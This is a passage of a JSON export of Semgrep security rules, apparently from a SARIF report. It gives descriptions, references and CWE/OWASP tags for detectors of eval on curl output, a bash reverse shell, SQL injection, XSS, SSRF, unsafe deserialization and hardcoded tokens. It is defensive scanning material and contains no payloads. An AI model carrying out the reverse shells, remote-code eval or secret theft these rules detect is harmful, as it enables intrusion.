[https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Data is being eval'd from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the `eval`, resulting in a system comrpomise. Avoid eval'ing untrusted data if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity."},"helpUri":"https://semgrep.dev/r/bash.curl.security.curl-eval.curl-eval","id":"bash.curl.security.curl-eval.curl-eval","name":"bash.curl.security.curl-eval.curl-eval","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: bash.curl.security.curl-eval.curl-eval"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'."},"help":{"markdown":"By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/dockerfile.security.missing-user-entrypoint.missing-user-entrypoint)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"By not specifying a USER, a program in the container may run as 'root'. This is a security hazard. If an attacker can control a process running as root, they may have control over the container. Ensure that the last USER in a Dockerfile is a USER other than 'root'."},"helpUri":"https://semgrep.dev/r/dockerfile.security.missing-user-entrypoint.missing-user-entrypoint","id":"dockerfile.security.missing-user-entrypoint.missing-user-entrypoint","name":"dockerfile.security.missing-user-entrypoint.missing-user-entrypoint","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: dockerfile.security.missing-user-entrypoint.missing-user-entrypoint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The 'ssl' module disables insecure cipher suites by default. Therefore, use of 'set_ciphers()' should only be used when you have very specialized requirements. Otherwise, you risk lowering the security of the SSL channel."},"help":{"markdown":"The 'ssl' module disables insecure cipher suites by default. Therefore, use of 'set_ciphers()' should only be used when you have very specialized requirements. Otherwise, you risk lowering the security of the SSL channel.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.ssl.no-set-ciphers.no-set-ciphers)\n - [https://docs.python.org/3/library/ssl.html#cipher-selection](https://docs.python.org/3/library/ssl.html#cipher-selection)\n - [https://docs.python.org/3/library/ssl.html#ssl.SSLContext.set_ciphers](https://docs.python.org/3/library/ssl.html#ssl.SSLContext.set_ciphers)\n","text":"The 'ssl' module disables insecure cipher suites by default. Therefore, use of 'set_ciphers()' should only be used when you have very specialized requirements. Otherwise, you risk lowering the security of the SSL channel."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.ssl.no-set-ciphers.no-set-ciphers","id":"python.lang.security.audit.insecure-transport.ssl.no-set-ciphers.no-set-ciphers","name":"python.lang.security.audit.insecure-transport.ssl.no-set-ciphers.no-set-ciphers","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.ssl.no-set-ciphers.no-set-ciphers"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Distinct, Having, Group_by, Order_by, and Filter in SQLAlchemy can cause sql injections if the developer inputs raw SQL into the before-mentioned clauses. This pattern captures relevant cases in which the developer inputs raw SQL into the distinct, having, group_by, order_by or filter clauses and injects user-input into the raw SQL with any function besides \"bindparams\". Use bindParams to securely bind user-input to SQL statements."},"help":{"markdown":"Distinct, Having, Group_by, Order_by, and Filter in SQLAlchemy can cause sql injections if the developer inputs raw SQL into the before-mentioned clauses. This pattern captures relevant cases in which the developer inputs raw SQL into the distinct, having, group_by, order_by or filter clauses and injects user-input into the raw SQL with any function besides \"bindparams\". Use bindParams to securely bind user-input to SQL statements.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.security.sqlalchemy-sql-injection.pyramid-sqlalchemy-sql-injection)\n - [https://docs.sqlalchemy.org/en/14/tutorial/data_select.html#tutorial-selecting-data](https://docs.sqlalchemy.org/en/14/tutorial/data_select.html#tutorial-selecting-data)\n","text":"Distinct, Having, Group_by, Order_by, and Filter in SQLAlchemy can cause sql injections if the developer inputs raw SQL into the before-mentioned clauses. This pattern captures relevant cases in which the developer inputs raw SQL into the distinct, having, group_by, order_by or filter clauses and injects user-input into the raw SQL with any function besides \"bindparams\". Use bindParams to securely bind user-input to SQL statements."},"helpUri":"https://semgrep.dev/r/python.pyramid.security.sqlalchemy-sql-injection.pyramid-sqlalchemy-sql-injection","id":"python.pyramid.security.sqlalchemy-sql-injection.pyramid-sqlalchemy-sql-injection","name":"python.pyramid.security.sqlalchemy-sql-injection.pyramid-sqlalchemy-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.security.sqlalchemy-sql-injection.pyramid-sqlalchemy-sql-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure FSX Windows file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure FSX Windows file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-fsx-windows-encrypted-with-cmk.aws-fsx-windows-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure FSX Windows file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-fsx-windows-encrypted-with-cmk.aws-fsx-windows-encrypted-with-cmk","id":"terraform.aws.security.aws-fsx-windows-encrypted-with-cmk.aws-fsx-windows-encrypted-with-cmk","name":"terraform.aws.security.aws-fsx-windows-encrypted-with-cmk.aws-fsx-windows-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-fsx-windows-encrypted-with-cmk.aws-fsx-windows-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Semgrep found a bash reverse shell"},"help":{"markdown":"Semgrep found a bash reverse shell\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.ci.security.bash-reverse-shell.bash_reverse_shell)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Semgrep found a bash reverse shell"},"helpUri":"https://semgrep.dev/r/generic.ci.security.bash-reverse-shell.bash_reverse_shell","id":"generic.ci.security.bash-reverse-shell.bash_reverse_shell","name":"generic.ci.security.bash-reverse-shell.bash_reverse_shell","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: generic.ci.security.bash-reverse-shell.bash_reverse_shell"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP. See https://docs.oracle.com/javase/tutorial/jndi/ldap/auth_mechs.html for more information."},"help":{"markdown":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP. See https://docs.oracle.com/javase/tutorial/jndi/ldap/auth_mechs.html for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.anonymous-ldap-bind.anonymous-ldap-bind)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP. See https://docs.oracle.com/javase/tutorial/jndi/ldap/auth_mechs.html for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.anonymous-ldap-bind.anonymous-ldap-bind","id":"java.lang.security.audit.anonymous-ldap-bind.anonymous-ldap-bind","name":"java.lang.security.audit.anonymous-ldap-bind.anonymous-ldap-bind","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.anonymous-ldap-bind.anonymous-ldap-bind"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"NPM registry authentication token detected"},"help":{"markdown":"NPM registry authentication token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-npm-registry-auth-token.detected-npm-registry-auth-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"NPM registry authentication token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-npm-registry-auth-token.detected-npm-registry-auth-token","id":"generic.secrets.security.detected-npm-registry-auth-token.detected-npm-registry-auth-token","name":"generic.secrets.security.detected-npm-registry-auth-token.detected-npm-registry-auth-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-npm-registry-auth-token.detected-npm-registry-auth-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are considered insecure."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are considered insecure.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-pickle-pyramid.tainted-pickle-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are considered insecure."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-pickle-pyramid.tainted-pickle-pyramid","id":"python.pyramid.deserialization.tainted-pickle-pyramid.tainted-pickle-pyramid","name":"python.pyramid.deserialization.tainted-pickle-pyramid.tainted-pickle-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-pickle-pyramid.tainted-pickle-pyramid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XMLInputFactory being instantiated without calling the setProperty functions that are generally used for disabling entity processing. User controlled data in XML Document builder can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality."},"help":{"markdown":"XMLInputFactory being instantiated without calling the setProperty functions that are generally used for disabling entity processing. User controlled data in XML Document builder can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.xmlinputfactory-dtd-enabled.xmlinputfactory-dtd-enabled)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"XMLInputFactory being instantiated without calling the setProperty functions that are generally used for disabling entity processing. User controlled data in XML Document builder can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.xmlinputfactory-dtd-enabled.xmlinputfactory-dtd-enabled","id":"scala.lang.security.audit.xmlinputfactory-dtd-enabled.xmlinputfactory-dtd-enabled","name":"scala.lang.security.audit.xmlinputfactory-dtd-enabled.xmlinputfactory-dtd-enabled","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.xmlinputfactory-dtd-enabled.xmlinputfactory-dtd-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user data in a call to 'exec'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need."},"help":{"markdown":"Found user data in a call to 'exec'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.code.user-exec-format-string.user-exec-format-string)\n - [https://owasp.org/www-community/attacks/Code_Injection](https://owasp.org/www-community/attacks/Code_Injection)\n","text":"Found user data in a call to 'exec'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.code.user-exec-format-string.user-exec-format-string","id":"python.django.security.injection.code.user-exec-format-string.user-exec-format-string","name":"python.django.security.injection.code.user-exec-format-string.user-exec-format-string","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.code.user-exec-format-string.user-exec-format-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found the use of an hardcoded passphrase for RSA. The passphrase can be easily discovered, and therefore should not be stored in source-code. It is recommended to remove the passphrase from source-code, and use system environment variables or a restricted configuration file."},"help":{"markdown":"Found the use of an hardcoded passphrase for RSA. The passphrase can be easily discovered, and therefore should not be stored in source-code. It is recommended to remove the passphrase from source-code, and use system environment variables or a restricted configuration file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.hardcoded-secret-rsa-passphrase.hardcoded-secret-rsa-passphrase)\n - [https://cwe.mitre.org/data/definitions/522.html](https://cwe.mitre.org/data/definitions/522.html)\n","text":"Found the use of an hardcoded passphrase for RSA. The passphrase can be easily discovered, and therefore should not be stored in source-code. It is recommended to remove the passphrase from source-code, and use system environment variables or a restricted configuration file."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.hardcoded-secret-rsa-passphrase.hardcoded-secret-rsa-passphrase","id":"ruby.lang.security.hardcoded-secret-rsa-passphrase.hardcoded-secret-rsa-passphrase","name":"ruby.lang.security.hardcoded-secret-rsa-passphrase.hardcoded-secret-rsa-passphrase","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.hardcoded-secret-rsa-passphrase.hardcoded-secret-rsa-passphrase"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Dynamically rendering arbitrary HTML on your website can be very dangerous because it can easily lead to XSS vulnerabilities. Only use HTML interpolation on trusted content and never on user-provided content."},"help":{"markdown":"Dynamically rendering arbitrary HTML on your website can be very dangerous because it can easily lead to XSS vulnerabilities. Only use HTML interpolation on trusted content and never on user-provided content.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.vue.security.audit.xss.templates.avoid-v-html.avoid-v-html)\n - [https://vuejs.org/v2/guide/syntax.html#Raw-HTML](https://vuejs.org/v2/guide/syntax.html#Raw-HTML)\n","text":"Dynamically rendering arbitrary HTML on your website can be very dangerous because it can easily lead to XSS vulnerabilities. Only use HTML interpolation on trusted content and never on user-provided content."},"helpUri":"https://semgrep.dev/r/javascript.vue.security.audit.xss.templates.avoid-v-html.avoid-v-html","id":"javascript.vue.security.audit.xss.templates.avoid-v-html.avoid-v-html","name":"javascript.vue.security.audit.xss.templates.avoid-v-html.avoid-v-html","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.vue.security.audit.xss.templates.avoid-v-html.avoid-v-html"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.tainted-direct-response-django.tainted-direct-response-django)\n - [https://docs.djangoproject.com/en/5.0/ref/request-response/#httpresponse-objects](https://docs.djangoproject.com/en/5.0/ref/request-response/#httpresponse-objects)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/python.django.web.tainted-direct-response-django.tainted-direct-response-django","id":"python.django.web.tainted-direct-response-django.tainted-direct-response-django","name":"python.django.web.tainted-direct-response-django.tainted-direct-response-django","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.tainted-direct-response-django.tainted-direct-response-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Callable based on user input risks remote code execution."},"help":{"markdown":"Callable based on user input risks remote code execution.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-callable.tainted-callable)\n - [https://www.php.net/manual/en/language.types.callable.php](https://www.php.net/manual/en/language.types.callable.php)\n","text":"Callable based on user input risks remote code execution."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-callable.tainted-callable","id":"php.lang.security.injection.tainted-callable.tainted-callable","name":"php.lang.security.injection.tainted-callable.tainted-callable","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-callable.tainted-callable"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SoftLayer API Key detected"},"help":{"markdown":"SoftLayer API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-softlayer-api-key.detected-softlayer-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"SoftLayer API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-softlayer-api-key.detected-softlayer-api-key","id":"generic.secrets.security.detected-softlayer-api-key.detected-softlayer-api-key","name":"generic.secrets.security.detected-softlayer-api-key.detected-softlayer-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-softlayer-api-key.detected-softlayer-api-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Modifying an `std::vector` while iterating over it could cause the container to reallocate, triggering memory corruption."},"help":{"markdown":"Modifying an `std::vector` while iterating over it could cause the container to reallocate, triggering memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.containers.std-vector-invalidation.std-vector-invalidation)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime](https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime)\n","text":"Modifying an `std::vector` while iterating over it could cause the container to reallocate, triggering memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.containers.std-vector-invalidation.std-vector-invalidation","id":"cpp.lang.security.containers.std-vector-invalidation.std-vector-invalidation","name":"cpp.lang.security.containers.std-vector-invalidation.std-vector-invalidation","properties":{"precision":"very-high","tags":["CWE-416: Use After Free","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.containers.std-vector-invalidation.std-vector-invalidation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Potential arbitrary code execution, piped to eval"},"help":{"markdown":"Potential arbitrary code execution, piped to eval\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.thenify.security.audit.multiargs-code-execution.multiargs-code-execution)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Potential arbitrary code execution, piped to eval"},"helpUri":"https://semgrep.dev/r/javascript.thenify.security.audit.multiargs-code-execution.multiargs-code-execution","id":"javascript.thenify.security.audit.multiargs-code-execution.multiargs-code-execution","name":"javascript.thenify.security.audit.multiargs-code-execution.multiargs-code-execution","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.thenify.security.audit.multiargs-code-execution.multiargs-code-execution"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.sqlalchemy-django.sqlalchemy-django)\n - [https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text](https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.django.db.sqlalchemy-django.sqlalchemy-django","id":"python.django.db.sqlalchemy-django.sqlalchemy-django","name":"python.django.db.sqlalchemy-django.sqlalchemy-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.sqlalchemy-django.sqlalchemy-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Remote debugging protocol does not perform any authentication, so exposing it too widely can be a security risk."},"help":{"markdown":"Remote debugging protocol does not perform any authentication, so exposing it too widely can be a security risk.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-exposed-chrome-devtools.puppeteer-exposed-chrome-devtools)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Remote debugging protocol does not perform any authentication, so exposing it too widely can be a security risk."},"helpUri":"https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-exposed-chrome-devtools.puppeteer-exposed-chrome-devtools","id":"javascript.puppeteer.security.audit.puppeteer-exposed-chrome-devtools.puppeteer-exposed-chrome-devtools","name":"javascript.puppeteer.security.audit.puppeteer-exposed-chrome-devtools.puppeteer-exposed-chrome-devtools","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.puppeteer.security.audit.puppeteer-exposed-chrome-devtools.puppeteer-exposed-chrome-devtools"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.ssrf.java-http-concat-taint-msg.java-http-concat-taint-msg)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted 